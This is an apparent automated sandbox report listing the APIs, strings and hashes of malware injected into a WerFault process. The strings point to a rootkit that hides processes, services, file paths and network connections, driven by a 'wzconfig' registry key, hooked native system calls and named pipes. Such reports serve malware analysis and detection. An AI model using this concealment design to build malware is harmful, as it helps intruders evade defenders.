Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C0173C
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C0175C
Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C01777
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C01797
Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C017B2
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C017D2

Sleep.KERNEL32 ref: 00000265B3C01ADF
SleepEx.KERNELBASE ref: 00000265B3C01AE5

Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C017ED
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C0180D
Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C01828
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C01848
Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C01863
Part of subcall function 00000265B3C01630: RegOpenKeyExW.ADVAPI32 ref: 00000265B3C01883
Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C0189E
Part of subcall function 00000265B3C01630: RegCloseKey.ADVAPI32 ref: 00000265B3C018A8

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction ID: 0f1713a559062cbadef8b978ef2a001b288e909bbb0b94c772f6c6a7830ed846
Opcode Fuzzy Hash: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction Fuzzy Hash: 863165BD210EB141FB509BA2D948369A3A4EF44BCCF5460A19E09A77DDFF12C851CB50

Non-executed Functions

Function 00000265B3C02B40 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000265B3C02BE4
lstrlenW.KERNEL32 ref: 00000265B3C02E1E

Part of subcall function 00000265B3C019A4: OpenProcess.KERNEL32 ref: 00000265B3C019CA
Part of subcall function 00000265B3C019A4: K32GetModuleFileNameExW.KERNEL32 ref: 00000265B3C019E8
Part of subcall function 00000265B3C019A4: PathFindFileNameW.SHLWAPI ref: 00000265B3C019F7
Part of subcall function 00000265B3C019A4: lstrlenW.KERNEL32 ref: 00000265B3C01A03
Part of subcall function 00000265B3C019A4: StrCpyW.SHLWAPI ref: 00000265B3C01A16
Part of subcall function 00000265B3C019A4: CloseHandle.KERNEL32 ref: 00000265B3C01A24

GetProcAddress.KERNEL32 ref: 00000265B3C02BF9

Part of subcall function 00000265B3C01534: StrCmpIW.SHLWAPI ref: 00000265B3C01565

Part of subcall function 00000265B3C03858: StrCmpNIW.SHLWAPI ref: 00000265B3C03870

StrCmpNIW.SHLWAPI ref: 00000265B3C02C3C
lstrlenW.KERNEL32 ref: 00000265B3C02D64

Strings

ntdll.dll, xrefs: 00000265B3C02BDD
NtQueryObject, xrefs: 00000265B3C02BEF
\Device\Nsi, xrefs: 00000265B3C02C2F

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction ID: b57eab705e623fc815f16bb7541ddbe1a27266721628a3fa6c3c5d7b099dc802
Opcode Fuzzy Hash: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction Fuzzy Hash: 4DB17D72210EF082EBAADFA5D4487A9A3A5FF44B8CF545056DE1963B9CDB36CD40CB40

Function 00000265B3C07D90 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000265B3C07DAC
RtlCaptureContext.NTDLL ref: 00000265B3C07DD9
RtlLookupFunctionEntry.NTDLL ref: 00000265B3C07DF3
RtlVirtualUnwind.NTDLL ref: 00000265B3C07E34
IsDebuggerPresent.KERNEL32 ref: 00000265B3C07E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000265B3C07EA5
UnhandledExceptionFilter.KERNEL32 ref: 00000265B3C07EB0

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction ID: 7ade3d21502b40c3853907b7560cdc77ebab1c4db81e543031cef8de330e69e9
Opcode Fuzzy Hash: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction Fuzzy Hash: AD318276315FA09AEB648FA0E8443ED7360FB84708F54402ADB4E57B98EF39C648CB10

Function 00000265B3C0D814 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000265B3C0D88D
RtlLookupFunctionEntry.NTDLL ref: 00000265B3C0D8A5
RtlVirtualUnwind.NTDLL ref: 00000265B3C0D8E0
IsDebuggerPresent.KERNEL32 ref: 00000265B3C0D919
SetUnhandledExceptionFilter.KERNEL32 ref: 00000265B3C0D923
UnhandledExceptionFilter.KERNEL32 ref: 00000265B3C0D92E

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction ID: 52aa95433d79f49b5bf5707deb9ca7d3a2d09c136826a57d0b63d9da71eebdaa
Opcode Fuzzy Hash: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction Fuzzy Hash: 7331B136214FA086EB60CF65E84839E73A0FB89758F600126EE9D53BADDF39C555CB00

Function 00000265B3C01630 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000265B3C0163B
HeapAlloc.KERNEL32 ref: 00000265B3C0164A

Part of subcall function 00000265B3C01268: GetProcessHeap.KERNEL32 ref: 00000265B3C0126E
Part of subcall function 00000265B3C01268: HeapAlloc.KERNEL32 ref: 00000265B3C0127D
Part of subcall function 00000265B3C01268: GetProcessHeap.KERNEL32 ref: 00000265B3C01297
Part of subcall function 00000265B3C01268: HeapAlloc.KERNEL32 ref: 00000265B3C012A8

RegOpenKeyExW.ADVAPI32 ref: 00000265B3C016BA
RegOpenKeyExW.ADVAPI32 ref: 00000265B3C016E7
RegCloseKey.ADVAPI32 ref: 00000265B3C01701
RegOpenKeyExW.ADVAPI32 ref: 00000265B3C01721
RegCloseKey.ADVAPI32 ref: 00000265B3C0173C
RegOpenKeyExW.ADVAPI32 ref: 00000265B3C0175C
RegCloseKey.ADVAPI32 ref: 00000265B3C01777
RegOpenKeyExW.ADVAPI32 ref: 00000265B3C01797
RegCloseKey.ADVAPI32 ref: 00000265B3C017B2
RegOpenKeyExW.ADVAPI32 ref: 00000265B3C017D2
RegCloseKey.ADVAPI32 ref: 00000265B3C017ED
RegOpenKeyExW.ADVAPI32 ref: 00000265B3C0180D
RegCloseKey.ADVAPI32 ref: 00000265B3C01828
RegOpenKeyExW.ADVAPI32 ref: 00000265B3C01848
RegCloseKey.ADVAPI32 ref: 00000265B3C01863
RegOpenKeyExW.ADVAPI32 ref: 00000265B3C01883
RegCloseKey.ADVAPI32 ref: 00000265B3C0189E
RegCloseKey.ADVAPI32 ref: 00000265B3C018A8

Part of subcall function 00000265B3C012BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000265B3C01319
Part of subcall function 00000265B3C012BC: GetProcessHeap.KERNEL32 ref: 00000265B3C01327
Part of subcall function 00000265B3C012BC: HeapAlloc.KERNEL32 ref: 00000265B3C01338
Part of subcall function 00000265B3C012BC: RegEnumValueW.ADVAPI32 ref: 00000265B3C01397
Part of subcall function 00000265B3C012BC: GetProcessHeap.KERNEL32 ref: 00000265B3C013DF
Part of subcall function 00000265B3C012BC: HeapAlloc.KERNEL32 ref: 00000265B3C013ED
Part of subcall function 00000265B3C012BC: GetProcessHeap.KERNEL32 ref: 00000265B3C0140A
Part of subcall function 00000265B3C012BC: HeapFree.KERNEL32 ref: 00000265B3C01418
Part of subcall function 00000265B3C012BC: lstrlenW.KERNEL32 ref: 00000265B3C01421
Part of subcall function 00000265B3C012BC: GetProcessHeap.KERNEL32 ref: 00000265B3C0142F
Part of subcall function 00000265B3C012BC: HeapAlloc.KERNEL32 ref: 00000265B3C0143D

Strings

paths, xrefs: 00000265B3C01790
service_names, xrefs: 00000265B3C017CB
tcp_local, xrefs: 00000265B3C01806
udp, xrefs: 00000265B3C0187C
pid, xrefs: 00000265B3C0171A
process_names, xrefs: 00000265B3C01755
startup, xrefs: 00000265B3C016DD
SOFTWARE\wzconfig, xrefs: 00000265B3C0169A
tcp_remote, xrefs: 00000265B3C01841

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\wzconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-440640706
Opcode ID: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction ID: 4cf1d601b45d8cfd585966c7894cdb11d489de46f83f5635d0ac97c3bb9e9834
Opcode Fuzzy Hash: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction Fuzzy Hash: 16712A3A310E7086EB10DFA6E88869963A4FF84B8CF112111DE8E67B6DDF3AC554C744

Function 00000265B3C012BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000265B3C01319
GetProcessHeap.KERNEL32 ref: 00000265B3C01327
HeapAlloc.KERNEL32 ref: 00000265B3C01338
RegEnumValueW.ADVAPI32 ref: 00000265B3C01397

Part of subcall function 00000265B3C01534: StrCmpIW.SHLWAPI ref: 00000265B3C01565

GetProcessHeap.KERNEL32 ref: 00000265B3C013DF
HeapAlloc.KERNEL32 ref: 00000265B3C013ED
GetProcessHeap.KERNEL32 ref: 00000265B3C0140A
HeapFree.KERNEL32 ref: 00000265B3C01418
lstrlenW.KERNEL32 ref: 00000265B3C01421
GetProcessHeap.KERNEL32 ref: 00000265B3C0142F
HeapAlloc.KERNEL32 ref: 00000265B3C0143D
StrCpyW.SHLWAPI ref: 00000265B3C0145F
GetProcessHeap.KERNEL32 ref: 00000265B3C01476
HeapFree.KERNEL32 ref: 00000265B3C01484

Strings

d, xrefs: 00000265B3C0135A

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction ID: 933416470bf91a19b4e498ec88dd264e59b18fbaf5a7c8b78ab72bac9e2d62f9
Opcode Fuzzy Hash: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction Fuzzy Hash: 77516076200FA496EB50CFA2E44835AB7A1FB89F99F244124DE891772CDF3EC055CB00

Function 00000265B3C01D1C Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000265B3C01D27

Part of subcall function 00000265B3C01FDC: GetModuleHandleA.KERNEL32 ref: 00000265B3C01FF4
Part of subcall function 00000265B3C01FDC: GetProcAddress.KERNEL32 ref: 00000265B3C02005

Part of subcall function 00000265B3C05B40: GetCurrentThreadId.KERNEL32 ref: 00000265B3C05B7B

Strings

NtEnumerateValueKey, xrefs: 00000265B3C01DDE
sechost.dll, xrefs: 00000265B3C01E41
EnumServicesStatusExW, xrefs: 00000265B3C01E19, 00000265B3C01E3A
NtQueryDirectoryFile, xrefs: 00000265B3C01D87
ntdll.dll, xrefs: 00000265B3C01D35
NtQueryDirectoryFileEx, xrefs: 00000265B3C01DA4
NtDeviceIoControlFile, xrefs: 00000265B3C01E5E
advapi32.dll, xrefs: 00000265B3C01DFF, 00000265B3C01E20
NtEnumerateKey, xrefs: 00000265B3C01DC1
NtQuerySystemInformation, xrefs: 00000265B3C01D4D
NtResumeThread, xrefs: 00000265B3C01D6A
EnumServiceGroupW, xrefs: 00000265B3C01DF8

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction ID: 5adf43ebddf11eade95878041d7ab360bf26ad57597a7c89bca3808db41e5037
Opcode Fuzzy Hash: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction Fuzzy Hash: AB3190B8210EBAA4EA05EFE5EC5D7E46321AF4434CFD01493940A3717E9F7A824EDB40

Function 00000265B3C0D398 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000265B3C0D3A7
FlsGetValue.KERNEL32(?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D3BC
FlsSetValue.KERNEL32(?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D3DD
FlsSetValue.KERNEL32(?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D40A
FlsSetValue.KERNEL32(?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D41B
FlsSetValue.KERNEL32(?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D42C
SetLastError.KERNEL32 ref: 00000265B3C0D447
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D47D
FlsSetValue.KERNEL32(?,?,00000001,00000265B3C0F23C,?,?,?,?,00000265B3C0C50F,?,?,?,?,?,00000265B3C07AC0), ref: 00000265B3C0D49C

Part of subcall function 00000265B3C0DC3C: HeapAlloc.KERNEL32 ref: 00000265B3C0DC91

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D4C4

Part of subcall function 00000265B3C0DCB4: HeapFree.KERNEL32 ref: 00000265B3C0DCCA
Part of subcall function 00000265B3C0DCB4: GetLastError.KERNEL32 ref: 00000265B3C0DCD4

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D4D5
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000265B3C10FDB,?,?,?,00000265B3C109CC,?,?,?,00000265B3C0CDBF), ref: 00000265B3C0D4E6

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction ID: ba8a9e7bff2a794a500c3c63bec6bc956971efab6360a7702da30acbb626b26d
Opcode Fuzzy Hash: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction Fuzzy Hash: A041BD34304FF082FA58A7F2995D72962429F447BCF1417A4A93ABB7DFDE2B94458E00

Function 00000265B3C0224C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000265B3C02261
GetCurrentProcessId.KERNEL32 ref: 00000265B3C0226B

Part of subcall function 00000265B3C0193C: OpenProcess.KERNEL32 ref: 00000265B3C0195A
Part of subcall function 00000265B3C0193C: IsWow64Process.KERNEL32 ref: 00000265B3C01970
Part of subcall function 00000265B3C0193C: CloseHandle.KERNEL32 ref: 00000265B3C0198B

CreateFileW.KERNEL32 ref: 00000265B3C022C4
WriteFile.KERNEL32 ref: 00000265B3C022EC
ReadFile.KERNEL32 ref: 00000265B3C0230B
CloseHandle.KERNEL32 ref: 00000265B3C02314

Strings

\\.\pipe\wzchildproc64, xrefs: 00000265B3C02294
\\.\pipe\wzchildproc32, xrefs: 00000265B3C0229B

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\wzchildproc32$\\.\pipe\wzchildproc64
API String ID: 2171963597-1908187885
Opcode ID: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction ID: fb0b3187f870eaa793dbce2cf3c144504233a63520bb5262f31129d67ba5d86a
Opcode Fuzzy Hash: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction Fuzzy Hash: BC213D36614FA092EB10CF65E44835A73A0FB89BA9F604215EE5912BACCF7DC159CF00

Function 00000265B3C0AAF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000265B3C0AB4C

Part of subcall function 00000265B3C0BA08: __GetUnwindTryBlock.LIBCMT ref: 00000265B3C0BA4B
Part of subcall function 00000265B3C0BA08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000265B3C0BA70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000265B3C0AC24
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000265B3C0AE73
std::bad_alloc::bad_alloc.LIBCMT ref: 00000265B3C0AF7F

Strings

csm, xrefs: 00000265B3C0AB66
csm, xrefs: 00000265B3C0ABCD
csm, xrefs: 00000265B3C0AC47

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: b126d96e713e17712899e8751b41c7f8822b7172a83e217d75a36f3f2e99f09a
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: F0D1AC76604BB08AEB60DFA5D48839D77A0FB45B8CF104255EE8D67B9ADB36D490CB00

Function 00000265B3C0F904 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000265B3C0FA80
GetProcAddress.KERNEL32 ref: 00000265B3C0FA8C

Strings

api-ms-, xrefs: 00000265B3C0F9CA
ext-ms-, xrefs: 00000265B3C0F9DD

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction ID: fa292ae88bf309691171d7b37f29d7321a702e3f5bc588aa8e872300ce44a39d
Opcode Fuzzy Hash: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction Fuzzy Hash: 6241E432311EB051FA55CB96A80CB962395BF49FE8F194125DD0DBB78CEF3AC4858700

Function 00000265B3C0104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000265B3C010B1
RegEnumValueW.ADVAPI32 ref: 00000265B3C01117
GetProcessHeap.KERNEL32 ref: 00000265B3C0115A
HeapAlloc.KERNEL32 ref: 00000265B3C01168
GetProcessHeap.KERNEL32 ref: 00000265B3C01185
HeapFree.KERNEL32 ref: 00000265B3C01193

Strings

d, xrefs: 00000265B3C010D6

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 953c94f313aa51b2b07815c0b7c674d28838e84e1a507797bbfd9e073ae97e59
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 90418F37214FA4D6E7A4CF61E44839AB7A1F788B88F548129DA891775CDF3AC545CB00

Function 00000265B3C0D5D8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,00000265B3C0CD4E,?,?,?,?,?,?,?,?,00000265B3C0D50D,?,?,00000001), ref: 00000265B3C0D5F7
FlsSetValue.KERNEL32(?,?,?,00000265B3C0CD4E,?,?,?,?,?,?,?,?,00000265B3C0D50D,?,?,00000001), ref: 00000265B3C0D616
FlsSetValue.KERNEL32(?,?,?,00000265B3C0CD4E,?,?,?,?,?,?,?,?,00000265B3C0D50D,?,?,00000001), ref: 00000265B3C0D63E
FlsSetValue.KERNEL32(?,?,?,00000265B3C0CD4E,?,?,?,?,?,?,?,?,00000265B3C0D50D,?,?,00000001), ref: 00000265B3C0D64F
FlsSetValue.KERNEL32(?,?,?,00000265B3C0CD4E,?,?,?,?,?,?,?,?,00000265B3C0D50D,?,?,00000001), ref: 00000265B3C0D660

Strings

1%, xrefs: 00000265B3C0D63E
Y%, xrefs: 00000265B3C0D616

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction ID: 4f203283e50808a10e8c9f0b83b36f37aca73b7da4e54cbee02c12fad81ece88
Opcode Fuzzy Hash: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction Fuzzy Hash: 06119030304FF081FA58A7A2695D72D2242AF447FCF0457A4A83DA77DEDE2AC5454E00

Function 00000265B3C07520 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000265B3C07548
__scrt_acquire_startup_lock.LIBCMT ref: 00000265B3C0759A
_RTC_Initialize.LIBCMT ref: 00000265B3C075C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000265B3C075EE
__scrt_release_startup_lock.LIBCMT ref: 00000265B3C07619

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: ef4e31b1861857ac6e5888225eeee932d3457fbbc8bf0dcff6ebad1572a66948
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 5181F779600FF146FB58ABE9944D39922E0AF8578CF744095AA097379EEB3BC941CF00

Function 00000265B3C0A148 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000265B3C0A1CD
GetLastError.KERNEL32 ref: 00000265B3C0A1DB
LoadLibraryExW.KERNEL32 ref: 00000265B3C0A205
FreeLibrary.KERNEL32 ref: 00000265B3C0A273
GetProcAddress.KERNEL32 ref: 00000265B3C0A27F

Strings

api-ms-, xrefs: 00000265B3C0A1ED

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction ID: 67d4d90453a5e8255ef5c2ce1f0a143d5e4cb54238212338619f91891ec69ad2
Opcode Fuzzy Hash: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction Fuzzy Hash: 6C31C136312EB0E1EE55DBC2E8083552394BF44BA8F6A46359D1D2B398DF3BD4948B00

Function 00000265B3C14324 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000265B3C14355
GetLastError.KERNEL32 ref: 00000265B3C14361
CloseHandle.KERNEL32 ref: 00000265B3C14379
CreateFileW.KERNEL32 ref: 00000265B3C143A4
WriteConsoleW.KERNEL32 ref: 00000265B3C143C3

Strings

CONOUT$, xrefs: 00000265B3C14385

Memory Dump Source

